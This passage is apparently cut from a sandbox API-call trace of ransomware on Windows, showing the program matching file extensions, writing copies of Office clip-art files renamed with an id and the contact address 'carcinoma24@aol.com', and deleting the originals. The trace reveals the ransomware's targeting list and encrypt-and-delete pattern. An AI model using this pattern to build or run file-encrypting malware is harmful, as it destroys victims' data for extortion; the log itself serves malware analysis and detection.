Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0301.581] lstrlenW (lpString=".doc") returned 4 [0301.581] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.581] lstrlenW (lpString=".docx") returned 5 [0301.581] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.581] lstrlenW (lpString=".pdf") returned 4 [0301.581] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.581] lstrlenW (lpString=".xls") returned 4 [0301.581] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.581] lstrlenW (lpString=".xlsx") returned 5 [0301.581] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.581] lstrlenW (lpString=".ppt") returned 4 [0301.581] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0301.581] lstrlenW (lpString=".zip") returned 4 [0301.581] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.581] lstrlenW (lpString=".rar") returned 4 [0301.581] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.581] lstrlenW (lpString=".bz2") returned 4 [0301.582] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.582] lstrlenW (lpString=".7z") returned 3 [0301.582] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0301.582] lstrlenW (lpString=".dbf") returned 4 [0301.582] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0301.582] lstrlenW (lpString=".1cd") returned 4 [0301.582] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0301.582] lstrlenW (lpString=".jpg") returned 4 [0301.582] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.582] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.582] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0301.583] GetLastError () returned 0x0 [0301.583] ReadFile (in: hFile=0x368, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x3044, lpOverlapped=0x0) returned 1 [0301.584] WriteFile (in: hFile=0x390, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x3050, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x3050, lpOverlapped=0x0) returned 1 [0301.586] ReadFile (in: hFile=0x368, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0301.586] WriteFile (in: hFile=0x390, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0301.586] SetEndOfFile (hFile=0x390) returned 1 [0301.586] CloseHandle (hObject=0x390) returned 1 [0301.586] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.586] SetEndOfFile (hFile=0x368) returned 1 [0301.587] CloseHandle (hObject=0x368) returned 1 [0301.587] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0301.587] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf")) returned 1 [0301.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0301.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0301.588] lstrlenW (lpString=".doc") returned 4 [0301.588] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.588] lstrlenW (lpString=".docx") returned 5 [0301.588] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.588] lstrlenW (lpString=".pdf") returned 4 [0301.588] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.588] lstrlenW (lpString=".xls") returned 4 [0301.588] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.588] lstrlenW (lpString=".xlsx") returned 5 [0301.588] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.588] lstrlenW (lpString=".ppt") returned 4 [0301.588] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0301.588] lstrlenW (lpString=".zip") returned 4 [0301.589] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.589] lstrlenW (lpString=".rar") returned 4 [0301.589] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.589] lstrlenW (lpString=".bz2") returned 4 [0301.589] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.589] lstrlenW (lpString=".7z") returned 3 [0301.589] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0301.589] lstrlenW (lpString=".dbf") returned 4 [0301.589] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0301.589] lstrlenW (lpString=".1cd") returned 4 [0301.589] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0301.589] lstrlenW (lpString=".jpg") returned 4 [0301.589] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.589] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.589] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0301.590] GetLastError () returned 0x0 [0301.590] ReadFile (in: hFile=0x368, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x1a7c, lpOverlapped=0x0) returned 1 [0301.591] WriteFile (in: hFile=0x390, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x1a80, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x1a80, lpOverlapped=0x0) returned 1 [0301.592] ReadFile (in: hFile=0x368, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0301.592] WriteFile (in: hFile=0x390, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0301.592] SetEndOfFile (hFile=0x390) returned 1 [0301.592] CloseHandle (hObject=0x390) returned 1 [0301.593] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.593] SetEndOfFile (hFile=0x368) returned 1 [0301.594] CloseHandle (hObject=0x368) returned 1 [0301.594] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0301.594] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf")) returned 1 [0301.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0301.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0301.594] lstrlenW (lpString=".doc") returned 4 [0301.595] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.595] lstrlenW (lpString=".docx") returned 5 [0301.595] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.595] lstrlenW (lpString=".pdf") returned 4 [0301.595] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.595] lstrlenW (lpString=".xls") returned 4 [0301.595] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.595] lstrlenW (lpString=".xlsx") returned 5 [0301.595] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.595] lstrlenW (lpString=".ppt") returned 4 [0301.595] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0301.595] lstrlenW (lpString=".zip") returned 4 [0301.595] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.595] lstrlenW (lpString=".rar") returned 4 [0301.595] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.595] lstrlenW (lpString=".bz2") returned 4 [0301.595] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.595] lstrlenW (lpString=".7z") returned 3 [0301.595] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0301.595] lstrlenW (lpString=".dbf") returned 4 [0301.595] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0301.595] lstrlenW (lpString=".1cd") returned 4 [0301.595] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0301.595] lstrlenW (lpString=".jpg") returned 4 [0301.595] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.596] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.596] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0301.597] GetLastError () returned 0x0 [0301.597] ReadFile (in: hFile=0x368, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x8e8, lpOverlapped=0x0) returned 1 [0301.597] WriteFile (in: hFile=0x390, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x8f0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x8f0, lpOverlapped=0x0) returned 1 [0301.598] ReadFile (in: hFile=0x368, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0301.598] WriteFile (in: hFile=0x390, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0301.599] SetEndOfFile (hFile=0x390) returned 1 [0301.599] CloseHandle (hObject=0x390) returned 1 [0301.599] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.599] SetEndOfFile (hFile=0x368) returned 1 [0301.600] CloseHandle (hObject=0x368) returned 1 [0301.600] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0301.600] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf")) returned 1 [0301.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0301.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0301.882] lstrlenW (lpString=".doc") returned 4 [0301.882] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.882] lstrlenW (lpString=".docx") returned 5 [0301.882] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.882] lstrlenW (lpString=".pdf") returned 4 [0301.882] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.882] lstrlenW (lpString=".xls") returned 4 [0301.882] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.882] lstrlenW (lpString=".xlsx") returned 5 [0301.882] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.882] lstrlenW (lpString=".ppt") returned 4 [0301.882] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0301.882] lstrlenW (lpString=".zip") returned 4 [0301.882] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.882] lstrlenW (lpString=".rar") returned 4 [0301.882] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.882] lstrlenW (lpString=".bz2") returned 4 [0301.882] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.882] lstrlenW (lpString=".7z") returned 3 [0301.882] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0301.882] lstrlenW (lpString=".dbf") returned 4 [0301.882] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0301.883] lstrlenW (lpString=".1cd") returned 4 [0301.883] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0301.883] lstrlenW (lpString=".jpg") returned 4 [0301.883] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.957] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.957] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0301.959] GetLastError () returned 0x0 [0301.959] ReadFile (in: hFile=0x37c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0xfea, lpOverlapped=0x0) returned 1 [0301.959] WriteFile (in: hFile=0x35c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xff0, lpOverlapped=0x0) returned 1 [0301.960] ReadFile (in: hFile=0x37c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0301.960] WriteFile (in: hFile=0x35c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0301.961] SetEndOfFile (hFile=0x35c) returned 1 [0301.961] CloseHandle (hObject=0x35c) returned 1 [0301.961] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.961] SetEndOfFile (hFile=0x37c) returned 1 [0301.962] CloseHandle (hObject=0x37c) returned 1 [0301.962] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0301.962] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf")) returned 1 [0301.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0301.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0301.963] lstrlenW (lpString=".doc") returned 4 [0301.963] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.963] lstrlenW (lpString=".docx") returned 5 [0301.963] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.963] lstrlenW (lpString=".pdf") returned 4 [0301.963] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.963] lstrlenW (lpString=".xls") returned 4 [0301.963] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.963] lstrlenW (lpString=".xlsx") returned 5 [0301.963] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.963] lstrlenW (lpString=".ppt") returned 4 [0301.963] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0301.963] lstrlenW (lpString=".zip") returned 4 [0301.963] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.963] lstrlenW (lpString=".rar") returned 4 [0301.963] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.963] lstrlenW (lpString=".bz2") returned 4 [0301.963] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.963] lstrlenW (lpString=".7z") returned 3 [0301.963] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0301.964] lstrlenW (lpString=".dbf") returned 4 [0301.964] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0301.964] lstrlenW (lpString=".1cd") returned 4 [0301.964] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0301.964] lstrlenW (lpString=".jpg") returned 4 [0301.964] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.964] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.964] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0301.965] GetLastError () returned 0x0 [0301.965] ReadFile (in: hFile=0x37c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x2168, lpOverlapped=0x0) returned 1 [0301.966] WriteFile (in: hFile=0x35c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x2170, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x2170, lpOverlapped=0x0) returned 1 [0301.967] ReadFile (in: hFile=0x37c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0301.967] WriteFile (in: hFile=0x35c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0301.967] SetEndOfFile (hFile=0x35c) returned 1 [0301.967] CloseHandle (hObject=0x35c) returned 1 [0301.967] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.967] SetEndOfFile (hFile=0x37c) returned 1 [0301.968] CloseHandle (hObject=0x37c) returned 1 [0301.968] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0301.968] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf")) returned 1 [0301.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0301.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0301.969] lstrlenW (lpString=".doc") returned 4 [0301.969] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.969] lstrlenW (lpString=".docx") returned 5 [0301.969] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.969] lstrlenW (lpString=".pdf") returned 4 [0301.969] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.969] lstrlenW (lpString=".xls") returned 4 [0301.969] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.969] lstrlenW (lpString=".xlsx") returned 5 [0301.969] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.969] lstrlenW (lpString=".ppt") returned 4 [0301.969] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0301.969] lstrlenW (lpString=".zip") returned 4 [0301.969] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.969] lstrlenW (lpString=".rar") returned 4 [0301.970] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.970] lstrlenW (lpString=".bz2") returned 4 [0301.970] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.970] lstrlenW (lpString=".7z") returned 3 [0301.970] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0301.970] lstrlenW (lpString=".dbf") returned 4 [0301.970] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0301.970] lstrlenW (lpString=".1cd") returned 4 [0301.970] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0301.970] lstrlenW (lpString=".jpg") returned 4 [0301.970] lstrcmpiW 